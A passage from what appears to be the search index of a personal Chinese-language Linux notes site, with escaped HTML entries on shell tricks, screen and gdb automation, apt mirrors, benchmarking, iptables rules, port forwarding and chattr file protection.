]</code>\\u53ea\\u652f\\u6301num\\u4e3a\\u6574\\u6570\\u7684\\u60c5\\u51b5\\uff0c\\u6240\\u4ee5\\u7528bc\\u4f5c\\u6d6e\\u70b9\\u6570\\u5927\\u5c0f\\u5224\\u65ad\\uff0c\\u53c2\\u8003\\uff1a https://stackoverflow.com/questions/8654051/how-to-compare-two-floating-point-numbers-in-bash</p> <p>\\u7528<code>grep -v</code>\\u8bbe\\u7f6e\\u767d\\u540d\\u5355\\uff1adocker, perl</p> <pre><code>while true; do LINE=$(ps aux|grep -v docker|grep -v perl|sort -k4 -h|tail -n 1); (( $( echo \\\"`echo ${LINE}|awk '{print $4}'` &gt; 5\\\" |bc -l) )) &amp;&amp; \\\\\\n        (echo $LINE; kill `echo ${LINE}|awk '{print $2}'`); sleep 5; \\ndone\\n</code></pre>\"},{\"location\":\"Linux-cli/#screen\",\"title\":\"screen\\u81ea\\u52a8\\u64cd\\u4f5c\\u4ee5\\u53ca\\u83b7\\u53d6\\u5f53\\u524d\\u5c4f\\u5e55\\u5185\\u5bb9\",\"text\":\"<pre><code>screen -dmS name /bin/bash\\nscreen -S name -p 0 -X stuff \\\"ls\\\"`echo -ne '\\\\r'`\\nscreen -S name -p 0 -X hardcopy /tmp/test.txt\\n</code></pre> <p>\\u4e2d\\u6587\\u5b57\\u7b26\\u4f1a\\u6709\\u95ee\\u9898\\uff0c\\u5f85\\u89e3\\u51b3</p>\"},{\"location\":\"Linux-cli/#c\",\"title\":\"\\u7f16\\u8bd1\\u5f53\\u524d\\u6587\\u4ef6\\u5939\\u6240\\u6709.c\\u6587\\u4ef6\",\"text\":\"<p><code>${i%.*}</code> \\u53bb\\u6389\\u6587\\u4ef6\\u540d\\u7684\\u6700\\u540e\\u4e00\\u4e2a\\u540e\\u7f00</p> <pre><code>for i in *.c; do gcc $i -o out/${i%.*}; done\\n</code></pre>\"},{\"location\":\"Linux-cli/#gdb\",\"title\":\"gdb\\u81ea\\u52a8\\u5316\",\"text\":\"<pre><code>echo -e \\\"set pagination off\\\\nset confirm off\\\" &gt; ~/.gdbinit\\n</code></pre> <p>\\u7136\\u540e\\u4f7f\\u7528<code>gdb ./a.out -ex \\\"r inputfile\\\" -ex \\\"bt\\\" -ex \\\"quit\\\"</code></p>\"},{\"location\":\"Linux-cli/#mktorrenttorrent\",\"title\":\"mktorrent\\u5236\\u4f5c\\u79cd\\u5b50torrent\\u6587\\u4ef6\",\"text\":\"<p>\\u53c2\\u8003\\uff1a https://community.seedboxes.cc/articles/how-to-create-a-torrent-via-the-command-line</p> <pre><code>sudo apt install mktorrent\\nmktorrent -v -a \\\"http://tracker.nexushd.org/announce.php\\\" -p folder -o folder.torrent -l 24\\n</code></pre> <p>\\u5176\\u4e2d<code>-l 24</code>\\u7684\\u610f\\u601d\\u662f\\u6bcf\\u4e2a\\u5206\\u5757\\u4e3a2**24=16MB\\uff0c\\u8fd9\\u662f\\u5efa\\u8bae\\u7684\\u6700\\u5927\\u7684\\u503c</p>\"},{\"location\":\"Linux-cli/#m3u8mp4\",\"title\":\"\\u9489\\u9489\\u76f4\\u64ad\\u56de\\u653e\\u4e0b\\u8f7d m3u8\\u8f6cmp4\",\"text\":\"<p>\\u624b\\u673a\\u7aef\\u7528\\u6293\\u5305\\u8f6f\\u4ef6 \\u5982HttpCanary\\uff0c\\u70b9\\u5f00\\u76f4\\u64ad\\u56de\\u653e\\u540e\\u4f1a\\u5f97\\u5230\\u4e00\\u4e2am3u8\\u7684\\u5730\\u5740\\uff0c\\u7136\\u540e\\u4f7f\\u7528ffmpeg\\u4e0b\\u8f7d\\u5373\\u53ef</p> <p>\\u53c2\\u8003\\uff1ahttps://www.bilibili.com/video/av99036702/</p> <p>https://gist.github.com/tzmartin/fb1f4a8e95ef5fb79596bd4719671b5d</p> <pre><code>ffmpeg -i http://dtliving-pre.alicdn.com/... -bsf:a aac_adtstoasc -vcodec copy -c copy name.mp4\\n</code></pre>\"},{\"location\":\"Linux-cli/#ls\",\"title\":\"\\u9ed1\\u8272\\u80cc\\u666fls \\u76ee\\u5f55\\u6df1\\u7eff\\u8272\\u770b\\u4e0d\\u6e05\\u6539\\u4e2a\\u989c\\u8272\",\"text\":\"<p>Ubuntu\\u7cfb\\u7edf\\u7f16\\u8f91<code>~/.dircolors</code>: (\\u5176\\u4ed6\\u7cfb\\u7edf<code>~/.dir_colors</code>)</p> <pre><code>DIR 01;36 \\n</code></pre> <p>\\u6216\\u8005\\u6267\\u884c\\uff1a</p> <pre><code>eval `dircolors | sed -e 's/;34:/;36:/'`\\n</code></pre>\"},{\"location\":\"Linux-cli/#seafile\",\"title\":\"\\u90e8\\u7f72seafile\\u5ba2\\u6237\\u7aef\",\"text\":\"<p>https://download.seafile.com/published/seafile-user-manual/syncing_client/install_linux_client.md</p> <p>\\u9700\\u8981\\u6ce8\\u610fseafile-cli\\u5df2\\u7ecf\\u52a0\\u5165boinc\\u5b98\\u65b9\\u6e90\\uff0c\\u4f46\\u7248\\u672c\\u4e0eppa\\u6e90\\u4e0d\\u5339\\u914d</p> <pre><code># apt install -y software-properties-common\\nadd-apt-repository -y ppa:seafile/seafile-client\\napt update\\napt install seafile-cli -y\\nmkdir ~/seafile\\nseaf-cli init -d ~/seafile\\nseaf-cli start\\n# \\u91cd\\u542f\\u540e\\u4e5f\\u9700\\u8981\\u81ea\\u5df1\\u624b\\u52a8\\u542f\\u52a8\\n</code></pre> <p>\\u5728\\u7f51\\u9875\\u7aef\\u521b\\u5efa/\\u6253\\u5f00\\u8d44\\u6599\\u5e93\\u540e\\u4eceurl\\u590d\\u5236\\u5f97\\u5230id</p> <p>\\u5ba2\\u6237\\u7aef\\u6ca1\\u6709\\u9700\\u8981\\u540c\\u6b65\\u7684\\u6587\\u4ef6\\u65f6\\u7528download\\uff0c\\u6709\\u9700\\u8981\\u52a0\\u5165\\u540c\\u6b65\\u7684\\u6570\\u636e\\u7528sync</p> <pre><code>seaf-cli download -l \\\"the id of the library\\\"\\n-s \\\"the url + port of server\\\" -d \\\"the folder which the library will be synced with\\\" -u \\\"username on server\\\" [-p \\\"password\\\"]\\n</code></pre> <p>\\u767b\\u5f55\\u7528\\u6237\\u540d\\u5bc6\\u7801\\u9519\\u8bef\\u7684\\u65f6\\u5019\\u62a5\\u9519\\u662f400\\uff0c\\u9700\\u8981\\u7559\\u610f</p>\"},{\"location\":\"Linux-cli/#pcregrep\",\"title\":\"pcregrep\\u6b63\\u5219\\u63d0\\u53d6\",\"text\":\"<p>\\u4f8b\\u5982\\u6211\\u4eec\\u8981\\u63d0\\u53d6some.htm\\u4e2d\\u6240\\u6709href\\u5c5e\\u6027\\u4e2d\\u7684html\\uff0c\\u4f7f\\u7528\\u666e\\u901a\\u7684grep\\u4e0d\\u80fd\\u53ea\\u63d0\\u53d6\\u5355\\u72ec\\u7684group\\u3002\\u8fd9\\u91cc\\u6211\\u4eec\\u7528pcregrep\\u53ef\\u4ee5\\u6307\\u5b9a<code>-o</code>\\u53c2\\u6570\\uff0c\\u8fd8\\u53ef\\u4ee5\\u591a\\u6b21\\u6307\\u5b9a\\u8fde\\u7eed\\u8f93\\u51fa</p> <pre><code># apt install -y pcregrep\\npcregrep -o1 'href=\\\"([^\\\\.]*\\\\.htm)\\\"' some.htm\\n</code></pre>\"},{\"location\":\"Linux-cli/#_15\",\"title\":\"\\u7ba1\\u9053\\u5173\\u95ed\\u7f13\\u51b2\",\"text\":\"<p>\\u53c2\\u8003\\uff1ahttps://harttle.land/2020/06/06/tail-f-pipe.html</p> <p>grep \\u6dfb\\u52a0 <code>--line-buffered</code>\\uff0csed \\u6dfb\\u52a0 <code>-u</code>\\uff0cawk \\u8c03 <code>fflush()</code>\\u3002</p> <p>Shell \\u91cc\\u53ef\\u4ee5\\u901a\\u8fc7 [ -t 1 ] \\u6765\\u5224\\u65ad stdout\\uff08\\u6587\\u4ef6\\u63cf\\u8ff0\\u7b26 1\\uff09 \\u662f\\u5426\\u662f TTY\\u3002 More</p> <p>\\u4f8b\\u5b50\\uff1a</p> <pre><code>tail -f log.txt | grep --line-buffered Error | sed -u 's/harttle//' | awk '${print $1; fflush()}' | grep ENOENT\\n</code></pre>\"},{\"location\":\"Linux-cli/#_16\",\"title\":\"\\u7b49\\u5f85\\u7279\\u5b9a\\u8fdb\\u7a0b\\u7ed3\\u675f\",\"text\":\"<p>\\u4f8b\\u5982\\u5e76\\u884c\\u542f\\u52a8\\u7f16\\u8bd1\\u8fdb\\u7a0b\\uff0c\\u5e0c\\u671b\\u7b49\\u5f85\\u6240\\u6709gcc\\u7ed3\\u675f\\uff1a</p> <pre><code>while [ \\\"`pgrep -c gcc`\\\" -gt 0 ]; do echo cnt: `pgrep -c gcc`\\nsleep 10; done\\n</code></pre>\"},{\"location\":\"Linux-setup/\",\"title\":\"Linux\\u7cfb\\u7edf\\u914d\\u7f6e\",\"text\":\"<p>\\u672c\\u6587\\u6863\\u4e3aLinux\\u670d\\u52a1\\u5668\\u7684\\u914d\\u7f6e\\u65b9\\u9762\\u7684\\u7b14\\u8bb0\\uff0cLinux\\u76f8\\u5173\\u7b14\\u8bb0\\u8fd8\\u6709\\uff1a</p> <p>Linux\\u547d\\u4ee4\\u884c\\u64cd\\u4f5c\\u6280\\u5de7</p> <p>SSH\\u8fdc\\u7a0b\\u767b\\u5f55</p> <p>Linux\\u5907\\u4efd</p> <p>TOC:</p>\"},{\"location\":\"Linux-setup/#_1\",\"title\":\"\\u5982\\u4f55\\u7ffb\\u5899\",\"text\":\"\"},{\"location\":\"Linux-setup/#shadowsocksprivoxyhttp-proxy\",\"title\":\"\\u90e8\\u7f72shadowsocks\\u5ba2\\u6237\\u7aef\\uff0c\\u5e76\\u90e8\\u7f72Privoxy\\u63d0\\u4f9bhttp proxy\",\"text\":\"<p>\\u4ee3\\u7801\\u53c2\\u89c1ssprivoxy.txt</p>\"},{\"location\":\"Linux-setup/#ip\",\"title\":\"\\u914d\\u7f6e\\u6709\\u7ebf\\u9759\\u6001IP\",\"text\":\"<pre><code>vim /etc/network/interfaces\\n# \\u5199\\u5165\\u4ee5\\u4e0b\\u5185\\u5bb9\\uff0c\\u8bf7\\u81ea\\u884c\\u66ff\\u6362xx\\u90e8\\u5206\\niface eth0 inet static\\n address 10.xx.xx.13 #\\u4f60\\u9700\\u8981\\u8bbe\\u7f6e\\u7684IP\\nnetmask 255.255.255.0 #\\u5b50\\u7f51\\u63a9\\u7801\\nnetwork 10.xx.xx.0\\n broadcast 10.xx.xx.255\\n gateway 10.xx.xx.254 #\\u7f51\\u5173\\ndns-nameservers 10.10.0.21 #dns\\u670d\\u52a1\\u5668\\n# \\u6309Esc, :wq\\u9000\\u51fa\\u4fdd\\u5b58\\nservice networking restart\\nifconfig eth0 10.xx.xx.13 netmask 255.255.255.0 up\\nroute add default eth0 #\\u8def\\u7531\\u914d\\u7f6e\\u4e5f\\u5f88\\u91cd\\u8981\\uff0c\\u9519\\u8bef\\u7684\\u8def\\u7531\\u5c06\\u5bfc\\u81f4\\u4e0d\\u80fd\\u8bbf\\u95ee\\nroute add default gw 10.xx.xx.254 dev eth0 #\\u8fd9\\u91cc\\u8bbe\\u7f6e\\u4e3a\\u4f60\\u7684\\u7f51\\u5173\\n</code></pre> <p>\\u6ce8\\u610f\\u4f7f\\u7528ifconfig\\u8fdb\\u884cip\\u7684\\u4fee\\u6539\\u540e\\uff0c\\u4f1a\\u4e22\\u5931\\u8def\\u7531\\u4fe1\\u606f\\u3001\\u989d\\u5916\\u7684ip\\u8bbe\\u7f6e\\uff0c\\u9700\\u8981\\u91cd\\u65b0\\u914d\\u7f6eroute\\uff08\\u6267\\u884c\\u4e0a\\u8ff0\\u4e24\\u6761route\\u547d\\u4ee4\\u5373\\u53ef\\uff09</p>\"},{\"location\":\"Linux-setup/#dhcpiprtnetlink-answers-file-exists\",\"title\":\"\\u914d\\u7f6e\\u4e3adhcp\\u81ea\\u52a8\\u83b7\\u53d6ip\\uff0c\\u89e3\\u51b3RTNETLINK answers: File exists\\u95ee\\u9898\",\"text\":\"<p>\\u4e4b\\u524d\\u5df2\\u7ecf\\u914d\\u7f6e\\u8fc7\\u9759\\u6001ip\\uff0c\\u73b0\\u5728\\u8981\\u6539\\u4e3a\\u81ea\\u52a8\\u83b7\\u53d6</p> <pre><code>dhclient eth0\\n</code></pre> <p>\\u51fa\\u73b0\\u62a5\\u9519RTNETLINK answers: File exists\\uff0c\\u89e3\\u51b3\\u65b9\\u6848\\uff1a</p> <pre><code>ip addr flush dev eth0\\n</code></pre>\"},{\"location\":\"Linux-setup/#aptapt\",\"title\":\"\\u914d\\u7f6eapt\\u6e90\\u4ee5\\u52a0\\u901f\\u56fd\\u5185\\u73af\\u5883\\u4e0bapt\\u901f\\u5ea6\",\"text\":\"<pre><code>curl http://mirrors.163.com/.help/sources.list.trusty&gt;/etc/apt/sources.list\\n</code></pre> <p>\\u5982\\u679c\\u8fd8\\u672a\\u5b89\\u88c5curl\\uff0c\\u5148\\u624b\\u52a8\\u5199\\u5165\\u8fd9\\u4e24\\u884c\\uff1a</p> <pre><code>deb http://mirrors.163.com/ubuntu/ trusty main restricted universe multiverse\\ndeb http://mirrors.163.com/ubuntu/ trusty-security main restricted universe multiverse\\n</code></pre> <p>\\u6ce8\\uff1avim\\u590d\\u5236\\u4e00\\u884c\\u7684\\u547d\\u4ee4\\u4e3ayy\\uff0c\\u7c98\\u8d34\\u4e3ap</p> <p>\\u6216\\u8005\\u901a\\u8fc7sed\\u66ff\\u6362\\uff1a</p> <pre><code>sed -i 's/security.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list\\nsed -i 's/archive.ubuntu.com/mirrors.zju.edu.cn/g' /etc/apt/sources.list\\n</code></pre>\"},{\"location\":\"Linux-setup/#ip_1\",\"title\":\"\\u5355\\u7f51\\u5361\\u83b7\\u5f97\\u591a\\u4e2aIP\",\"text\":\"<p>ifconfig eth0:233 10.xx.xx.233 netmask 255.255.255.0 up</p>\"},{\"location\":\"Linux-setup/#apt\",\"title\":\"\\u89e3\\u51b3apt\\u4f9d\\u8d56\\u95ee\\u9898\",\"text\":\"<p>\\u95ee\\u9898\\u63cf\\u8ff0\\uff1a\\u670d\\u52a1\\u5668\\u4e3aubuntu14.04\\u7248\\u672c\\uff0c\\u67d0\\u4e9b\\u4e0d\\u660e\\u64cd\\u4f5c\\u540e\\uff0c\\u65e0\\u6cd5\\u7528<code>apt-get</code>\\u5b89\\u88c5\\u4efb\\u4f55\\u4e1c\\u897f</p> <pre><code>&gt; apt-get -f install\\nReading package lists... Done\\nBuilding dependency tree\\nReading state information... Done\\nCorrecting dependencies... failed.\\nThe following packages have unmet dependencies:\\n libatk1.0-0 : Depends: libglib2.0-0 (&gt;= 2.41.1) but 2.40.0-2 is installed\\n libglib2.0-bin : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed\\n libglib2.0-dev : Depends: libglib2.0-0 (= 2.44.0-1ubuntu3) but 2.40.0-2 is installed\\n libgtk2.0-0 : Depends: libglib2.0-0 (&gt;= 2.41.1) but 2.40.0-2 is installed\\nE: Error, pkgProblemResolver::Resolve generated breaks, this may be caused by held packages.\\nE: Unable to correct dependencies\\n</code></pre> <p>\\u4ed4\\u7ec6\\u770b\\u9519\\u8bef\\u8bf4\\u660e\\uff0clibglib2.0-bin\\u8fd9\\u4e2a\\u8f6f\\u4ef6\\u5305\\u8981\\u6c42libglib2.0-0\\u7684\\u7248\\u672c=2.44\\u4f46\\u662f\\u73b0\\u6709\\u7684\\u5b89\\u88c5\\u7248\\u672c\\u4e3a2.40</p> <p>\\u5728ubuntu\\u7684\\u8f6f\\u4ef6\\u5305\\u5b98\\u7f51\\u641c\\u7d22\\u54af\\uff1ahttps://launchpad.net/ubuntu/</p> <p>\\u53d1\\u73b02.44\\u7248\\u672c\\u7684\\u662fvivid\\u624d\\u63d0\\u4f9b\\u7684\\uff0c\\u73b0\\u5728\\u7cfb\\u7edf\\u7248\\u672c\\u662ftrusty\\uff0c\\u81ea\\u7136apt-get\\u88c5\\u4e0d\\u4e86</p> <p>\\u89e3\\u51b3\\u65b9\\u6848\\uff1a</p> <p>\\u627e\\u5230\\u62a5\\u9519\\u4fe1\\u606f\\u9700\\u8981\\u7684\\u7cbe\\u786e\\u5339\\u914d\\u7684\\u90a3\\u4e2adeb\\u6587\\u4ef6\\u4e0b\\u8f7d\\u54af\\uff0c\\u4f8b\\u5982\\u8fd9\\u91cc\\u5c31\\u8981\\u4e0b\\u8f7d\\u8fd9\\u4e2a\\u7248\\u672c\\u7684\\uff1a</p> <p>https://launchpad.net/ubuntu/vivid/amd64/libglib2.0-0/2.44.0-1ubuntu3</p> <p>\\u5f97\\u5230deb\\u6587\\u4ef6\\u540e<code>dpkg -i \\u6587\\u4ef6\\u540d</code></p>\"},{\"location\":\"Linux-setup/#note\",\"title\":\"Note\",\"text\":\"<p>\\u4e00\\u822capt\\u4f9d\\u8d56\\u51b2\\u7a81\\u95ee\\u9898\\u90fd\\u662f\\u7531\\u4e8e\\u7cfb\\u7edf\\u7248\\u672c\\u4e0e\\u9700\\u8981\\u7684\\u5305\\u7684\\u7248\\u672c\\u4e0d\\u4e00\\u81f4\\u5bfc\\u81f4\\u7684\\uff0c\\u68c0\\u67e5\\u4e00\\u4e0b/etc/apt/sources.list\\u770b\\u770b\\u662f\\u5426\\u5339\\u914d\\u7cfb\\u7edf\\u7248\\u672c\\u54af</p> <p>\\u7528apt-get\\u524d\\u68c0\\u67e5\\u4e00\\u4e0bsources.list \\u770b\\u4e0e\\u5f53\\u524d<code>lsb-release -a</code>\\u662f\\u5426\\u4e00\\u81f4</p>\"},{\"location\":\"Linux-setup/#unixbench\",\"title\":\"UnixBench\",\"text\":\"<p>VPS\\u6027\\u80fd\\u6d4b\\u8bd5\\u5de5\\u5177\\uff0c\\u8017\\u65f6\\u8f83\\u957f\\uff0c\\u8010\\u5fc3\\u7b49\\u5f85</p> <pre><code>curl https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3&gt;UnixBench.zip\\nunzip UnixBench.zip\\ncd byte-unixbench-5.1.3/UnixBench\\n# apt-get install build-essential\\nmake\\nscreen -S ub\\n./Run\\n</code></pre> <p>\\u53c2\\u8003\\u6570\\u636e\\uff0c\\u5747\\u4e3a\\u6700\\u4f4e\\u914d\\u7f6e\\uff1a\\u4e3b\\u673a\\u5c4b1590.5\\uff1b\\u963f\\u91cc\\u4e911470.4\\uff1b\\u817e\\u8baf\\u4e911156.0</p>\"},{\"location\":\"Linux-setup/#io\",\"title\":\"\\u786c\\u76d8IO\\u6027\\u80fd\\u6d4b\\u8bd5\",\"text\":\"<pre><code>dd if=/dev/zero of=test bs=64k count=4k oflag=dsync\\ndd if=/dev/zero of=test bs=8k count=256k conv=fdatasync\\n</code></pre>\"},{\"location\":\"Linux-setup/#_2\",\"title\":\"\\u6e05\\u9664\\u5185\\u5b58\\u7f13\\u5b58\",\"text\":\"<p>\\u4f7f\\u7528<code>free -h</code>\\u67e5\\u770b\\u53ef\\u7528\\u5185\\u5b58\\u524d\\u53ef\\u4ee5\\u6267\\u884c\\u8fd9\\u4e2a\\u547d\\u4ee4\\uff0c\\u67e5\\u770b\\u9664\\u53bbbuffer\\u540e\\u7684\\u53ef\\u7528\\u5185\\u5b58</p> <pre><code>sync\\necho 3 &gt; /proc/sys/vm/drop_caches\\n</code></pre>\"},{\"location\":\"Linux-setup/#iptablesip\",\"title\":\"\\u4f7f\\u7528iptables\\u5c01ip\",\"text\":\"\"},{\"location\":\"Linux-setup/#ip_2\",\"title\":\"\\u5c4f\\u853d\\u5355\\u4e2aIP\",\"text\":\"<pre><code>iptables -I INPUT -s 123.45.6.7 -j DROP\\n</code></pre>\"},{\"location\":\"Linux-setup/#c\",\"title\":\"\\u5c01C\\u6bb5\",\"text\":\"<pre><code>iptables -I INPUT -s 123.45.6.0/24 -j DROP\\n</code></pre>\"},{\"location\":\"Linux-setup/#b\",\"title\":\"\\u5c01B\\u6bb5\",\"text\":\"<pre><code> iptables -I INPUT -s 123.45.0.0/16 -j DROP\\n</code></pre>\"},{\"location\":\"Linux-setup/#a\",\"title\":\"\\u5c01A\\u6bb5\",\"text\":\"<pre><code>iptables -I INPUT -s 123.0.0.0/8 -j DROP\\n</code></pre> <p>\\u8bb0\\u5f97\\u4fdd\\u5b58\\uff1a</p> <pre><code>service iptables save\\n</code></pre>\"},{\"location\":\"Linux-setup/#_3\",\"title\":\"\\u5220\\u9664\\u4e00\\u6761\\u89c4\\u5219\",\"text\":\"<p>\\u53ea\\u8981\\u628a\\u4e0a\\u8ff0\\u7684\\u63d2\\u5165\\u89c4\\u5219\\u91cd\\u5199\\u4e00\\u6b21\\uff0c\\u5c06\\u5176\\u4e2d\\u7684-I\\u6539\\u4e3a-D\\u5373\\u53ef</p> <pre><code>iptables -D INPUT -s IP\\u5730\\u5740 -j DROP\\n</code></pre> <p>\\u5982\\u679c\\u61d2\\u5f97\\u91cd\\u5199 \\u4f60\\u4e5f\\u53ef\\u4ee5\\u5148\\u5217\\u4e3e\\u51fa\\u89c4\\u5219\\u6240\\u5728\\u7684id\\uff0c\\u6839\\u636eid\\u5220\\u9664\\uff1a</p> <pre><code>iptables -L --line-numbers\\n</code></pre> <p>\\u5047\\u8bbe\\u4f60\\u60f3\\u5220\\u9664INPUT\\u94fe\\u7684\\u7b2c3\\u6761\\u89c4\\u5219\\uff1a</p> <pre><code>iptables -D INPUT 3\\n</code></pre>\"},{\"location\":\"Linux-setup/#ip_3\",\"title\":\"\\u53ea\\u5141\\u8bb8\\u7279\\u5b9aIP\\u8bbf\\u95ee\\u67d0\\u7aef\\u53e3\",\"text\":\"<p>iptables\\u7684\\u63d2\\u5165\\u6b21\\u5e8f\\u5f88\\u91cd\\u8981\\uff0c\\u5148\\u52a0\\u5165\\u7684\\u4f1a\\u5148\\u5339\\u914d\\uff0c\\u6240\\u4ee5\\u62d2\\u7edd\\u7b56\\u7565\\u5e94\\u8be5\\u6700\\u540e\\u52a0\\u5165</p> <p>\\u4ee58888\\u7aef\\u53e3\\u4e3a\\u4f8b\\uff0c\\u53ea\\u5141\\u8bb810.77.88.99\\u8fd9\\u4e2aIP \\u548c 10.22.33.0/24 \\u8fd9\\u4e2aC\\u6bb5\\u8bbf\\u95ee\\uff0c\\u5176\\u4ed6\\u6765\\u6e90\\u7684\\u8bbf\\u95ee\\u62d2\\u7edd \\u8fd4\\u56deconnection refused</p> <pre><code>iptables -A INPUT -s 10.77.88.99 -p tcp --dport 8888 -j ACCEPT\\niptables -A INPUT -s 10.22.33.0/24 -p tcp --dport 8888 -j ACCEPT\\niptables -A INPUT -p tcp --dport 8888 -j REJECT\\n</code></pre>\"},{\"location\":\"Linux-setup/#rootscreen\",\"title\":\"\\u65e0root\\u6743\\u9650\\u4f7f\\u7528screen\",\"text\":\"<p>https://www.gnu.org/software/screen/</p> <p>\\u590d\\u5236\\u76f8\\u540c\\u64cd\\u4f5c\\u7cfb\\u7edf\\u4e0b\\u7684screen\\u4e8c\\u8fdb\\u5236\\u6587\\u4ef6\\uff0c\\u8fd0\\u884c\\u524d\\u6307\\u5b9a\\u73af\\u5883\\u53d8\\u91cf</p> <pre><code>mkdir -p $HOME/.screen\\nexport SCREENDIR=$HOME/.screen\\n</code></pre>\"},{\"location\":\"Linux-setup/#screen\",\"title\":\"screen\\u7684\\u7528\\u6cd5\",\"text\":\"<p>\\u5217\\u51fa\\u5b58\\u5728\\u7684screen\\uff1a</p> <pre><code>screen -ls\\n</code></pre> <p>\\u521b\\u5efa\\u4e00\\u4e2a\\u540d\\u4e3aname\\u7684screen\\uff1a</p> <pre><code>screen -S name\\n</code></pre> <p>\\u4ecescreen\\u8131\\u79bb\\uff1a</p> <pre><code>\\u6309Ctrl+A\\u540e\\u6309d\\n</code></pre> <p>\\u91cd\\u65b0\\u8fde\\u4e0a\\u540d\\u79f0\\u4e3aname\\u7684screen\\uff1a</p> <pre><code>screen -r name\\n</code></pre> <p>\\u521b\\u5efa\\u4e00\\u4e2ascreen\\u7684\\u81ea\\u542f\\u52a8\\uff0c\\u8ba9\\u540e\\u53f0\\u8fdb\\u7a0b\\u83b7\\u5f97tty</p> <pre><code># \\u5047\\u8bbe\\u5199\\u597d\\u4e86\\u4e00\\u4e2a/root/code.sh\\nvim /etc/rc.local\\n# \\u5728\\u6700\\u540e\\u52a0\\u5165\\u4e00\\u884c\\uff0c\\u5176\\u4e2dNAME\\u66ff\\u6362\\u4e3a\\u81ea\\u5df1\\u559c\\u6b22\\u7684\\u540d\\u5b57\\nscreen -dmS NAME /root/code.sh\\n</code></pre> <p>\\u4e3e\\u4e2a\\u4f8b\\u5b50\\u2013\\u76d1\\u6d4b\\u5916\\u7f51\\u80fd\\u5426ping\\u901a\\uff0c\\u5982\\u679c\\u4e0d\\u80fd\\u91cd\\u8fdezjuvpn\\uff1a</p> <p>code/pingtest.sh</p>\"},{\"location\":\"Linux-setup/#_4\",\"title\":\"\\u53cc\\u7f51\\u5361\\u7aef\\u53e3\\u8f6c\\u53d1\\uff0c\\u66b4\\u9732\\u5185\\u7f51\\u7aef\\u53e3\",\"text\":\"<p>@TAG \\u7aef\\u53e3\\u8f6c\\u53d1</p> <p>\\u6765\\u81ea\\uff1a https://yq.aliyun.com/wenzhang/show_25824</p> <p>\\u6709\\u4e24\\u53f0\\u673a\\u5668\\uff0c\\u5176\\u4e2d\\u4e00\\u53f0A \\u6709\\u5185\\u7f51\\u548c\\u5916\\u7f51\\uff0cB\\u53ea\\u6709\\u5185\\u7f51\\u3002</p> <p>\\u76ee\\u6807\\uff1a \\u5728\\u5916\\u7f51\\u8bbf\\u95eeA\\u673a\\u5668\\u76842121\\u7aef\\u53e3\\uff0c\\u5c31\\u76f8\\u5f53\\u4e8e\\u8fde\\u4e0a\\u4e86B\\u673a\\u5668\\u7684ftp(21)</p>\"},{\"location\":\"Linux-setup/#_5\",\"title\":\"\\u73af\\u5883\\uff1a\",\"text\":\"<p>A\\u673a\\u5668\\u5916\\u7f51IP\\u4e3a 1.2.3.4(eth1) \\u5185\\u7f51IP\\u4e3a 192.168.1.20 (eth0)</p> <p>B\\u673a\\u5668\\u5185\\u7f51\\u4e3a 192.168.1.21</p>\"},{\"location\":\"Linux-setup/#_6\",\"title\":\"\\u5b9e\\u73b0\\u65b9\\u6cd5\\uff1a\",\"text\":\"<p>\\u9996\\u5148\\u5728A\\u673a\\u5668\\u4e0a\\u6253\\u5f00\\u7aef\\u53e3\\u8f6c\\u53d1\\u529f\\u80fd</p> <pre><code>    echo 1 &gt; /proc/sys/net/ipv4/ip_forward\\n    echo -e \\\"\\\\nnet.ipv4.ip_forward = 1\\\"&gt;&gt;/etc/sysctl.conf\\n    sysctl -p\\n</code></pre> <p>\\u7136\\u540e\\u5728A\\u673a\\u5668\\u4e0a\\u521b\\u5efaiptables\\u89c4\\u5219</p> <pre><code># \\u628a\\u8bbf\\u95ee\\u5916\\u7f512121\\u7aef\\u53e3\\u7684\\u5305\\u8f6c\\u53d1\\u5230\\u5185\\u7f51ftp\\u670d\\u52a1\\u5668\\niptables -t nat -I PREROUTING -d 1.2.3.4 -p tcp --dport 2121 -j DNAT --to 192.168.1.21:21 \\n\\n# \\u628a\\u5230\\u5185\\u7f51ftp\\u670d\\u52a1\\u5668\\u7684\\u5305\\u56de\\u6e90\\u5230\\u5185\\u7f51\\u7f51\\u5361\\u4e0a\\uff0c\\u4e0d\\u7136\\u5305\\u53ea\\u80fd\\u8f6c\\u5230ftp\\u670d\\u52a1\\u5668\\uff0c\\u800c\\u8fd4\\u56de\\u7684\\u5305\\u4e0d\\u80fd\\u5230\\u8fbe\\u5ba2\\u6237\\u7aef\\niptables -t nat -I POSTROUTING -d 192.168.1.21 -p tcp --dport 21 -j SNAT --to 192.168.1.20 \\n\\n# \\u4fdd\\u5b58\\u4e00\\u4e0b\\u89c4\\u5219\\nservice iptables save\\n</code></pre>\"},{\"location\":\"Linux-setup/#_7\",\"title\":\"\\u53d6\\u6d88\\u8f6c\\u53d1\\u65b9\\u6cd5\",\"text\":\"<p>iptables\\u4e2d\\u628a-I\\u6539\\u4e3a-D\\u8fd0\\u884c\\u5c31\\u662f\\u5220\\u9664\\u6b64\\u6761\\u89c4\\u5219</p>\"},{\"location\":\"Linux-setup/#_8\",\"title\":\"\\u4fdd\\u62a4\\u91cd\\u8981\\u7cfb\\u7edf\\u6587\\u4ef6\\u9632\\u6b62\\u88ab\\u5220\",\"text\":\"<p>\\u4f7f\\u7528+i\\u6807\\u5fd7\\u4f4d\\u4f7f\\u5f97root\\u7528\\u6237\\u4e5f\\u4e0d\\u80fd\\u5220\\u9664/bin, /sbin, /usr/sbin, /usr/bin, /usr/local/sbin, /usr/local/bin</p> <pre><code>chattr -R +i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin\\n</code></pre> <p>\\u8bbe\\u7f6e\\u540e\\u65e0\\u6cd5apt-get\\u5b89\\u88c5\\u65b0\\u8f6f\\u4ef6\\uff0c\\u9700\\u8981\\u5148\\u53d6\\u6d88\\u6807\\u5fd7\\u4f4d</p> <pre><code>chattr -R -i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin\\n</code></pre>\"},{\"location\":\"Linux-setup/#cpu\",\"title\":\"\\u67e5\\u770bCPU\\u6838\\u5fc3\\u4e2a\\u6570\",\"text\":\"<p>\\u4e00\\u822c\\u6211\\u4f1a\\u7528 <code>top</code> \\u547d\\u4ee4\\uff0c\\u6309 <code>1</code> 